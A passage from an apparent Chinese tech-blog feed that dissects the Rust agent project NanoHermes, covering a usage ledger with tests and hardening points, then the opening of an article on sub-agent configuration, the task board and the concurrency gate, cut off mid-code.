<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">outcome</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="c1">// ok / interrupted / iteration-limit / error:...</span>
<span class="p">}</span>

<span class="sd">/// 账本只增不改；所有执行路径共享同一个 Arc&lt;Ledger&gt;。</span>
<span class="cp">#[derive(Default)]</span>
<span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Ledger</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">inner</span><span class="p">:</span><span class="w"> </span><span class="nc">Mutex</span><span class="o">&lt;</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">TurnRecord</span><span class="o">&gt;&gt;</span><span class="p">,</span>
<span class="p">}</span>

<span class="k">impl</span><span class="w"> </span><span class="n">Ledger</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">record</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">rec</span><span class="p">:</span><span class="w"> </span><span class="nc">TurnRecord</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="bp">self</span><span class="p">.</span><span class="n">inner</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">().</span><span class="n">push</span><span class="p">(</span><span class="n">rec</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span>

<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">snapshot</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">TurnRecord</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="bp">self</span><span class="p">.</span><span class="n">inner</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">().</span><span class="n">clone</span><span class="p">()</span>
<span class="w">    </span><span class="p">}</span>

<span class="w">    </span><span class="sd">/// 父账 = 自身 + 子账之和，这条不变量在测试里断言。</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">totals</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nc">Usage</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="n">all</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">inner</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">        </span><span class="n">Usage</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">prompt_tokens</span><span class="p">:</span><span class="w"> </span><span class="nc">all</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">map</span><span class="p">(</span><span class="o">|</span><span class="n">r</span><span class="o">|</span><span class="w"> </span><span class="n">r</span><span class="p">.</span><span class="n">usage</span><span class="p">.</span><span class="n">prompt_tokens</span><span class="p">).</span><span class="n">sum</span><span class="p">(),</span>
<span class="w">            </span><span class="n">completion_tokens</span><span class="p">:</span><span class="w"> </span><span class="nc">all</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">map</span><span class="p">(</span><span class="o">|</span><span class="n">r</span><span class="o">|</span><span class="w"> </span><span class="n">r</span><span class="p">.</span><span class="n">usage</span><span class="p">.</span><span class="n">completion_tokens</span><span class="p">).</span><span class="n">sum</span><span class="p">(),</span>
<span class="w">            </span><span class="n">cached_tokens</span><span class="p">:</span><span class="w"> </span><span class="nc">if</span><span class="w"> </span><span class="n">all</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">all</span><span class="p">(</span><span class="o">|</span><span class="n">r</span><span class="o">|</span><span class="w"> </span><span class="n">r</span><span class="p">.</span><span class="n">usage</span><span class="p">.</span><span class="n">cached_tokens</span><span class="p">.</span><span class="n">is_some</span><span class="p">())</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="nb">Some</span><span class="p">(</span><span class="n">all</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">filter_map</span><span class="p">(</span><span class="o">|</span><span class="n">r</span><span class="o">|</span><span class="w"> </span><span class="n">r</span><span class="p">.</span><span class="n">usage</span><span class="p">.</span><span class="n">cached_tokens</span><span class="p">).</span><span class="n">sum</span><span class="p">())</span>
<span class="w">            </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="nb">None</span>
<span class="w">            </span><span class="p">},</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


关键在于三处：
<ul>
<li><code>Usage.cached_tokens</code> 是 <code>Option&lt;u64&gt;</code>，把「未知」和「0」分开</li>
<li><code>Who</code> 是个枚举，子代理的账有身份，不是匿名的</li>
<li><code>record</code> 只追加，没有「更新某一行」的接口——失败的行也要留在里面</li>
</ul>

把它接到 agent 上，改动点只有四个：<code>Run</code> 里给每次 <code>complete()</code> 记一行、<code>summarize</code> / <code>distill</code> 各记一行、<code>run_subagent_inner</code> 结束时记一行、<code>persist</code> 时把账本序列化进会话文件。四处加起来不到四十行。

真正的工作量不在代码，在把 <code>Ledger</code> 从 <code>&amp;self</code> 能拿到的地方传下去。<code>run_subagent</code> 拿的是 <code>&amp;self</code>，所以 <code>Ledger</code> 必须是 <code>Arc</code>，且内部用 <code>Mutex</code>——这与 <code>Board</code>、<code>Gate</code> 的模式一致，NanoHermes 已经有这个习惯了。
<h2>怎么测账本：三条不变量</h2>

账本的正确性没法靠「看着对」来验证，得靠不变量。三条就够：

<strong>一、求和一致。</strong> 所有 span 的用量之和等于 totals。这条能抓住「记了但没汇总」和「汇总时漏了一类」。
<div class="codehilite"><pre><span></span><code><span class="cp">#[test]</span>
<span class="k">fn</span><span class="w"> </span><span class="nf">totals_equal_the_sum_of_every_span</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">ledger</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Ledger</span><span class="p">::</span><span class="n">default</span><span class="p">();</span>
<span class="w">    </span><span class="n">ledger</span><span class="p">.</span><span class="n">record</span><span class="p">(</span><span class="n">turn</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">Who</span><span class="p">::</span><span class="n">Main</span><span class="p">,</span><span class="w"> </span><span class="mi">100</span><span class="p">,</span><span class="w"> </span><span class="mi">20</span><span class="p">));</span>
<span class="w">    </span><span class="n">ledger</span><span class="p">.</span><span class="n">record</span><span class="p">(</span><span class="n">turn</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="n">Who</span><span class="p">::</span><span class="n">Compact</span><span class="p">,</span><span class="w"> </span><span class="mi">5000</span><span class="p">,</span><span class="w"> </span><span class="mi">100</span><span class="p">));</span>
<span class="w">    </span><span class="n">ledger</span><span class="p">.</span><span class="n">record</span><span class="p">(</span><span class="n">turn</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="n">Who</span><span class="p">::</span><span class="n">SubAgent</span><span class="p">(</span><span class="s">&quot;agent-7&quot;</span><span class="p">.</span><span class="n">into</span><span class="p">()),</span><span class="w"> </span><span class="mi">800</span><span class="p">,</span><span class="w"> </span><span class="mi">40</span><span class="p">));</span>
<span class="w">    </span><span class="fm">assert_eq!</span><span class="p">(</span><span class="n">ledger</span><span class="p">.</span><span class="n">totals</span><span class="p">().</span><span class="n">prompt_tokens</span><span class="p">,</span><span class="w"> </span><span class="mi">5900</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>


<strong>二、父子可加。</strong> 父 turn 的用量等于「自身 + 所有子 span」。这条能抓住「子代理的钱记了但没挂到父上」。

<strong>三、失败也有行。</strong> 构造一个必定失败的请求（比如 mock 服务端返回 500），断言账本里有一行的 <code>outcome</code> 是错误、且 <code>requests</code> 大于零。这条能抓住本文最关心的那类漏账。

第三条最有价值，因为它反过来要求你把失败路径的用量带出来——也就是前文说的「改返回类型」。测试先行会逼着结构改对。

顺带说一句：这三条都不需要真实 API。用一个返回固定 JSON 的本地模拟端点就行，<code>agent/tests/e2e_mock_llm.rs</code> 已经有这个基础设施了，加几个账本断言是顺手的事。
<h2>七处可以加固的地方</h2>

按投入产出比排序。

<strong>一、把记账移到 <code>?</code> 之前。</strong> 最小改动：先记「发出了一次请求」，成功后再补 token。这样失败也有行，<code>requests</code> 变成「真实发出数」，<code>successful</code> 另计。三行代码，消除最基础的漏账。

<strong>二、让 <code>Usage</code> 带上 <code>cached_tokens: Option&lt;u64&gt;</code> 与 <code>reasoning_tokens: Option&lt;u64&gt;</code>。</strong> 两个 <code>Option</code> 字段，<code>usage_from_value</code> 多读两行。从此「缓存省钱」和「推理费钱」可查。

<strong>三、把 <code>summarize</code> / <code>distill</code> / <code>run_subagent_inner</code> 的 <code>turn.usage</code> 收起来。</strong> 三处各加一行记录，前提是先有 <code>Ledger</code>。这是「requests 只有一半」这个偏差的唯一解。

<strong>四、<code>run_subagent</code> 返回结构体而不是 <code>String</code>。</strong> <code>Delegation { text, usage, requests, elapsed }</code>，板上的 <code>Job</code> 同步加 <code>usage</code> 字段。<code>agent_list</code> 于是能显示「最贵的子代理」。

<strong>五、会话文件升级到带 meta 的对象。</strong> 加载时兼容裸数组（当 v1 处理），保存时写 v2。这一条让 <code>-c</code> 之后的 <code>/cost</code> 不再是零。

<strong>六、把重试与降级从 <code>eprintln!</code> 挪进事件通道。</strong> <code>llm::chat</code> 加一个回调（或者把 <code>Style</code> 传进来），重试时发一个 <code>UiEvent::Note</code>。终端与 GUI 从此看到同样的信息，日志也能进账本。

<strong>七、<code>done</code> 与 <code>error</code> 两种终结行都带 <code>total_usage</code>。</strong> 一行协议改动，让所有流式客户端不用自己求和，也不会在失败时丢掉部分用量。

前三条是「补漏」，第四、五条是「建结构」，第六、七条是「统一口径」。如果只能做一条，做第一条；如果能做三条，做一、五、七——它们分别覆盖漏账、串账、糊涂账各一类。
<h2>小结：观测的终点是能对账</h2>

把 08 压成三句话。

<strong>第一，日志和账本不是一回事。</strong> 日志是事件流，回答「发生了什么」；账本是表，回答「谁花了多少」。NanoHermes 有前者（三十多处 <code>eprintln!</code>、一套 <code>UiEvent</code>），但没有后者——<code>UsageTotals</code> 三个标量活在进程内存里，重启即清零。

<strong>第二，漏账不是因为忘了写，是因为结构上没有位置。</strong> 压缩、提炼、子代理三处内部调用都直接调 <code>llm::chat</code>，都没有 <code>&amp;mut Agent</code>，<code>UsageTotals</code> 又是 <code>Copy</code> 值。要让它们记账，得先把账本从「一个字段」升级成「一个共享对象」。这和 07 的结论是同一件事的两面：共享状态要有归属，归属要有地方写。

<strong>第三，观测的价值在于能对账，不在于能打印。</strong> 一个能回答「这次任务花了多少、花在哪、为什么失败」的系统，不需要很花哨的 UI，只需要每一笔消耗都有一行带 who / what / how much / when 的记录，且这行能活过进程重启。

写这个系列的过程中，我反复回到同一个判断标准：<strong>一个 agent 的工程质量，取决于它把哪些东西当成了一等公民</strong>。01 把循环当成一等公民，02 把上下文预算当成一等公民，03 把记忆的写入与检索当成一等公民，04 把输出上限当成一等公民，05 把线程与配额当成一等公民，06 把权限闸门当成一等公民，07 把责任边界当成一等公民。08 想说：<strong>账本也该是一等公民</strong>——不是事后加的日志，而是从第一天就参与数据流的结构。
<h2>系列收束：八篇讲了一个什么样的 Agent</h2>

八篇拆的是同一个项目 <code>NanoHermes</code>，但每篇都在回答一个更一般的问题：
<div class="table-scroll"><table>
<thead>
<tr>
<th>篇号</th>
<th>标题</th>
<th>拆的是什么</th>
<th>留下的判断标准</th>
</tr>
</thead>
<tbody>
<tr>
<td>01</td>
<td>Agent 的本质：一个两百行的循环</td>
<td>主循环、消息状态、并发、中断</td>
<td>循环之外没有第二套系统</td>
</tr>
<tr>
<td>02</td>
<td>Agent 上下文：留什么，丢什么</td>
<td>压缩、摘要、输出上限</td>
<td>上下文是工作集，不是仓库</td>
</tr>
<tr>
<td>03</td>
<td>Agent 记忆：不接向量库也能长期记忆</td>
<td>本地检索、注入、沉淀</td>
<td>记忆是索引，不是存储</td>
</tr>
<tr>
<td>04</td>
<td>Agent 工具设计：为什么输出都要有上限</td>
<td>Schema、错误语义、截断</td>
<td>工具的边界就是 Agent 的边界</td>
</tr>
<tr>
<td>05</td>
<td>Agent 并发：不用 async 运行时怎么并行</td>
<td>作用域线程、门控</td>
<td>并发是预算问题，不是语法问题</td>
</tr>
<tr>
<td>06</td>
<td>Agent 安全：让它跑命令而不失控</td>
<td>审批、沙箱、钩子</td>
<td>闸门要在执行层，不在清单层</td>
</tr>
<tr>
<td>07</td>
<td>Agent 多体：子代理、任务板与限流</td>
<td>委派、并发门、任务板</td>
<td>共享必须有归属</td>
</tr>
<tr>
<td>08</td>
<td>Agent 观测：给每个轮次记一本账</td>
<td>用量、日志、可观测性</td>
<td>观测的终点是能对账</td>
</tr>
</tbody>
</table></div>

如果把这八篇再压成一句：<strong>一个可靠的 agent，是在循环、上下文、记忆、工具、并发、安全、多体、观测这八个方向上，都做了显式取舍的系统。</strong> 每个方向都有一个「默认值会害你」的地方——默认不压缩上下文、默认信任工具输出、默认共享状态、默认用日志代替账本。NanoHermes 的价值不在于它每个方向都做对了，而在于它的取舍是<strong>可读的</strong>：两百行主循环、一个 <code>memory.json</code>、三十行限流门、三个标量的账本——每一处都能在半小时内读完，然后你就能指出它哪里会坏。

这也解释了为什么这个系列几乎每篇都以「七处可以加固的地方」结尾。不是为了让读者去改 NanoHermes，而是想说明一件事：<strong>看懂一个系统最有效的方式，是找出它在什么条件下会失效。</strong> 能列出失效模式，才算真的读懂了。
<hr>
<h2>参考</h2>
<ul>
<li><code>agent/src/agent.rs</code>：<code>UsageTotals</code>、<code>Agent::run</code>、<code>complete</code>、<code>run_subagent</code>、<code>run_subagent_inner</code>、<code>compact_with</code>、<code>summarize_messages</code>、<code>distill_memories</code>、<code>persist</code></li>
<li><code>agent/src/llm.rs</code>：<code>Usage</code>、<code>usage_from_value</code>、<code>AssistantTurn</code>、<code>chat</code>、<code>chat_with_model</code>、<code>read_stream</code>、<code>truncate</code>、<code>summarize</code></li>
<li><code>agent/src/ui.rs</code>：<code>UiEvent::Usage</code>、<code>UiSink</code>、<code>Style::usage</code>、<code>Style::note</code></li>
<li><code>agent/src/main.rs</code>：<code>/status</code>、<code>/cost</code>、<code>handle_daemon_request</code>、<code>stream_turn</code>、<code>write_event</code>、<code>save_session_file</code></li>
<li><code>agent/src/board.rs</code>：<code>Job</code>、<code>JobStatus</code>、<code>Board::start</code>、<code>finish</code>、<code>Gate::acquire</code></li>
<li><code>agent/src/memory.rs</code>：<code>distill</code>、<code>excerpt_from</code>、<code>worth_distilling</code></li>
<li><code>agent/src/hooks.rs</code>：<code>HookOutcome</code>、<code>HOOK_TIMEOUT_SECS</code></li>
<li><code>agent/src/tools/mod.rs</code>：<code>clamp</code>、<code>render_agent_board</code>、<code>Ctx</code></li>
</ul>]]></content:encoded>
    </item>
    <item>
      <title>Agent 多体：子代理、任务板与限流</title>
      <link>https://zhoujungis.github.io/article/agent-multiagent-subagents-board-and-gate/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/agent-multiagent-subagents-board-and-gate/</guid>
      <pubDate>Thu, 22 Oct 2026 07:24:03 GMT</pubDate>
      <description>适用读者：已经让单个 agent 跑起来、现在想让它「分头干活」的人；被「四个子代理同时改同一个文件」坑过的人；想知道任务板和限流门到底该由谁持有的人 结论先行：多体的难点从来不是并行，而是 责任边界 ——任务板、限流门、工具上下文这三样东西是共享的，而提示词、消息历史、模型选择是个体的。NanoHermes 把这两组</description>
      <category>AI编程</category>
      <category>Agent</category>
      <category>Agent 工程</category>
      <category>多 Agent</category>
      <category>架构设计</category>
      <content:encoded><![CDATA[<blockquote>

适用读者：已经让单个 agent 跑起来、现在想让它「分头干活」的人；被「四个子代理同时改同一个文件」坑过的人；想知道任务板和限流门到底该由谁持有的人
结论先行：多体的难点从来不是并行，而是<strong>责任边界</strong>——任务板、限流门、工具上下文这三样东西是共享的，而提示词、消息历史、模型选择是个体的。NanoHermes 把这两组东西切得很清楚，但切完之后留了三个洞：防嵌套只挡了工具清单没挡执行、限流门不检查中断也不可重入、任务板跨会话不清空
阅读时间：约 58 分钟 | 难度：进阶 | 收获：子代理的完整构造过程 + 任务板与限流门的实现细节 + 七个多体失效模式 + 七处可加固点
</blockquote>

<strong>目录</strong>
<ul>
<li>前言：多体不是把主循环复制四份</li>
<li>结论先行：三个共享对象与它们的责任边界</li>
<li>一个子代理是什么：提示词、工具白名单、可选模型</li>
<li>配置即契约：subagents.json 的形状</li>
<li>按名字查找：不存在的子代理会发生什么</li>
<li>子代理的工具清单是怎么裁出来的</li>
<li>防嵌套只挡住了广告位，没挡住执行</li>
<li>子代理内部为什么是串行的</li>
<li>子代理继承了什么：sub_cfg 与父配置的差异面</li>
<li>子代理不注入记忆，也不沉淀记忆</li>
<li>子代理共享 Ctx：三个被忽视的副作用</li>
<li>任务板：一个只追加的观测结构</li>
<li>任务 id 是 agent-N：单调递增与跨会话累积</li>
<li>结果预览 500 字符：板上是摘录，模型手里是全量</li>
<li>duration 测的是哪一段时间</li>
<li>门：一个手写计数信号量的四个细节</li>
<li>排队也显示 running：登记发生在 acquire 之前</li>
<li>门不检查中断：Ctrl-C 卡在等槽位</li>
<li>门不重入：嵌套子代理可能自我死锁</li>
<li>限流只限了并发数，没限请求速率</li>
<li>重试风暴：四份退避曲线没有抖动</li>
<li>fallback 模型：降级是静默的</li>
<li>为什么是 4：一个常识上限的代价</li>
<li>agent_list 会不会真的被模型用起来</li>
<li>子代理的中间过程在终端里是静默的</li>
<li>钩子分不出父子：没有 NANOHERMES_AGENT</li>
<li>权限模式对多体的语义</li>
<li>七个多体的失效模式</li>
<li>怎么把多体测出来</li>
<li>七处可以加固的地方</li>
<li>小结：多体先要分清谁的责任</li>
</ul>
<h2>前言：多体不是把主循环复制四份</h2>

把 agent 拆成多个角色的直觉通常是：既然一个循环能干活，那就跑四个循环。这个直觉在代码上很容易实现——起四个线程，每个线程一份消息历史，各自调工具，最后汇总。

但它会立刻撞上三个问题：
<ul>
<li>四个子代理各自调 <code>edit_file</code> 改同一个文件，谁的改动算数</li>
<li>每个子代理都想在终端上打印进度，输出会交叉成乱码</li>
<li>如果每个子代理再派一个子代理，谁来保证不会指数爆炸</li>
</ul>

这三个问题的共同点是：<strong>它们不是并行问题，而是「什么东西该共享、什么东西该独立」的问题</strong>。改文件冲突是共享了文件系统；输出乱码是共享了 stdout；指数爆炸是共享了「派发能力」这件事却没有共享配额。

NanoHermes 的做法是把多体拆成三块：子代理定义（配置层的契约）、任务板（观测层的共享状态）、限流门（资源层的配额）。前两块加起来不到两百行，第三块只有三十行。本文按「个体 → 共享 → 配额」的顺序把它们走一遍，然后专门拆解三处「切得不够干净」留下的洞。

05 讲的是「几件事同时做」，06 讲的是「这些事能做什么」，07 要把两者合起来——当四个子代理同时跑、每个都能在你机器上执行命令时，责任边界画在哪里。
<h2>结论先行：三个共享对象与它们的责任边界</h2>

一次 <code>subagent</code> 调用的全貌：
<div class="table-scroll"><table>
<thead>
<tr>
<th>层次</th>
<th>对象</th>
<th>归属</th>
<th>子代理能用吗</th>
</tr>
</thead>
<tbody>
<tr>
<td>个体</td>
<td>系统提示词</td>
<td><code>def.prompt</code>，每个子代理独立</td>
<td>是自己的</td>
</tr>
<tr>
<td>个体</td>
<td>消息历史</td>
<td>局部 <code>messages</code>，从零开始</td>
<td>只装任务描述</td>
</tr>
<tr>
<td>个体</td>
<td>模型与采样参数</td>
<td><code>sub_cfg</code>，可被 <code>def.model</code> 覆盖</td>
<td>可以不同</td>
</tr>
<tr>
<td>共享</td>
<td>任务板 <code>board</code></td>
<td><code>Ctx</code>，父代理持有</td>
<td>读写，登记自己的任务</td>
</tr>
<tr>
<td>共享</td>
<td>限流门 <code>gate</code></td>
<td><code>Ctx</code>，父代理持有</td>
<td>必须拿许可</td>
</tr>
<tr>
<td>共享</td>
<td>工具上下文 <code>Ctx</code></td>
<td>根路径、审批、沙箱、待办、后台任务、记忆目录</td>
<td>全部共享</td>
</tr>
</tbody>
</table></div>

这张表最下面三行是本文的重点。共享本身是对的——如果每个子代理都有独立的待办清单，用户会看到五份互不相干的计划；如果每个子代理都有独立的后台任务表，<code>task_kill</code> 就变成了盲盒。但共享的代价是：<strong>子代理能做的破坏，不止是改文件，还包括改状态</strong>。

判断一个多体实现是否健康，有个简单的问法：子代理能不能把父代理的状态搞乱？如果答案是能，那么这些状态应该被拆成「只读共享」和「可写独立」两份，或者至少加一层归属标记。
<h2>一个子代理是什么：提示词、工具白名单、可选模型</h2>

<code>SubAgentDef</code> 只有四个字段：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">SubAgentDef</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">prompt</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="sd">/// If non-empty, only these tools are available to the sub-agent.</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">allowed_tools</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;</span><span class="p">,</span>
<span class="w">    </span><span class="sd">/// Optional model override for this sub-agent.</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">model</span><span class="p">:</span><span class="w"> </span><span class="nb">Option</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div>


这是一个很克制的设计。它没有给子代理独立的：
- 迭代上限（继承父代理的 <code>max_iterations</code>）
- 权限模式（继承）
- 审批策略（继承）
- 沙箱设置（继承）

克制的好处是配置简单，坏处是「子代理」这个抽象比它看起来弱得多。它本质上是一个<strong>换了提示词、换了工具清单、可能换了模型的同一套 Agent</strong>——而不是一个受独立约束的新角色。

<code>allowed_tools</code> 的语义要精确理解：注释写的是「只有这些工具对子代理可用」，但实现里它作用于<strong>给模型看的工具清单</strong>，不作用于执行期的权限检查。这个区别后面第 6、7 节展开。

<code>model</code> 的语义同样要精确：它只改 <code>sub_cfg.model</code>，也就是只改发给模型 API 的那个模型名。它不改 <code>max_tokens</code>、不改 <code>temperature</code>、不改 <code>timeout_secs</code>。所以「用一个便宜模型跑子代理省钱」是成立的，但「用一个小模型限制子代理的输出长度」不成立——那要靠 <code>max_tokens</code>，而它没有暴露。
<h2>配置即契约：subagents.json 的形状</h2>

子代理定义从一个独立 JSON 文件加载，路径由 <code>--subagents</code> 指定：
<div class="codehilite"><pre><span></span><code><span class="p">{</span>
<span class="w">  </span><span class="nt">&quot;subagents&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="nt">&quot;reviewer&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="nt">&quot;prompt&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;You review Rust code for correctness and security. Read the diff, then list concrete defects with file:line.&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="nt">&quot;allowed_tools&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&quot;read_file&quot;</span><span class="p">,</span><span class="w"> </span><span class="s2">&quot;list_dir&quot;</span><span class="p">,</span><span class="w"> </span><span class="s2">&quot;grep&quot;</span><span class="p">,</span><span class="w"> </span><span class="s2">&quot;glob&quot;</span><span class="p">,</span><span class="w"> </span><span class="s2">&quot;git_diff&quot;</span><span class="p">],</span>
<span class="w">      </span><span class="nt">&quot;model&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;gpt-4o&quot;</span>
<span class="w">    </span><span class="p">},</span>
<span class="w">    </span><span class="nt">&quot;verifier&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="nt">&quot;prompt&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;You run the test suite and report failures. Never modify source files.&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="nt">&quot;allowed_tools&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&quot;run_command&quot;</span><span class="p">,</span><span class="w"> </span><span class="s2">&quot;read_file&quot;</span><span class="p">]</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">  </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


三个加载细节值得注意。

<strong>第一，<code>prompt</code> 是必填的，缺了就整体失败。</strong>
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">prompt</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">spec</span>
<span class="w">    </span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">&quot;prompt&quot;</span><span class="p">)</span>
<span class="w">    </span><span class="p">.</span><span class="n">and_then</span><span class="p">(</span><span class="o">|</span><span class="n">p</span><span class="o">|</span><span class="w"> </span><span class="n">p</span><span class="p">.</span><span class="n">as_str</span><span class="p">())</span>
<span class="w">    </span><span class="p">.</span><span class="n">ok_or_else</span><span class="p">(</span><span class="o">||</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;sub-agent `{name}` missing `prompt`&quot;</span><span class="p">))</span><span class="o">?</span>
<span class="w">    </span><span class="p">.</span><span class="n">to_string</span><span class="p">();</span>
</code></pre></div>


<strong>第二，<code>allowed_tools</code> 是「没写就等于全给」。</strong>
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">allowed_tools</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">spec</span>
<span class="w">    </span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">&quot;allowed_tools&quot;</span><span class="p">)</span>
<span class="w">    </span><span class="p">.</span><span class="n">and_then</span><span class="p">(</span><span class="o">|</span><span class="n">a</span><span class="o">|</span><span class="w"> </span><span class="n">a</span><span class="p">.</span><span class="n">as_array</span><span class="p">())</span>
<span class="w">    </span><span class="p">.</span><span class="n">map</span><span class="p">(</span><span class="o">|</span><span class="n">arr</span><span class="o">|</span><span class="w"> </span><span class="n">arr</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">filter_map</span><span class="p">(</span><span class="o">|</span><span class="n">x</span><span class="o">|</span><span class="w"> </span><span class="n">x</span><span class="p">.</span><span class="n">as_str</span><span class="p">().</span><span class="n">map</span><span class="p">(</span><span class="o">|</span><span class="n">s</span><span class="o">|</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">to_string</span><span class="p">())).</span><span class="n">collect</span><span class="p">())</span>
<span class="w">    </span><span class="p">.</span><span class="n">unwrap_or_default</span><span class="p">();</span>
</code></pre></div>


空 <code>Vec</code> 在裁剪处被解释成「不限制」（见下节）。所以一份只写了 <code>prompt</code> 的子代理配置，拿到的是和主代理一样的全部能力。这和 06 里 <code>allowed_tools: []</code> 的语义陷阱是同一个方向——安全失败（fail closed）在这里表现为「你以为限制了，其实没有」。

<strong>第三，加载失败只警告不退出。</strong>
<div class="codehilite"><pre><span></span><code><span class="k">match</span><span class="w"> </span><span class="n">config</span><span class="p">::</span><span class="n">SubAgentDef</span><span class="p">::</span><span class="n">load_all</span><span class="p">(</span><span class="n">path</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="nb">Ok</span><span class="p">(</span><span class="n">defs</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="cm">/* ... */</span><span class="w"> </span><span class="n">cfg</span><span class="p">.</span><span class="n">subagents</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">defs</span><span class="p">;</span><span class="w"> </span><span class="p">},</span>
<span class="w">    </span><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="fm">eprintln!</span><span class="p">(</span><span class="s">&quot;warning: sub-agents config {}: {e}&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">path</span><span class="p">.</span><span class="n">display</span><span class="p">()),</span>
<span class="p">}</span>
</code></pre></div>


JSON 写错一个逗号，结果是「没有子代理」而不是「启动失败」。随后 <code>build_tools</code> 又靠 <code>subagents.is_empty()</code> 决定要不要挂 <code>subagent</code> 工具，于是模型看不到这个工具，用户看到的是「它好像不会委派」——而真正的原因（配置文件解析失败）只在被淹没的 stderr 警告里出现过一次。
<h2>按名字查找：不存在的子代理会发生什么</h2>

<code>subagent</code> 工具的两个参数是 <code>name</code> 和 <code>task</code>，都必填。名字查找是线性扫描：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">def</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span>
<span class="w">    </span><span class="p">.</span><span class="n">cfg</span>
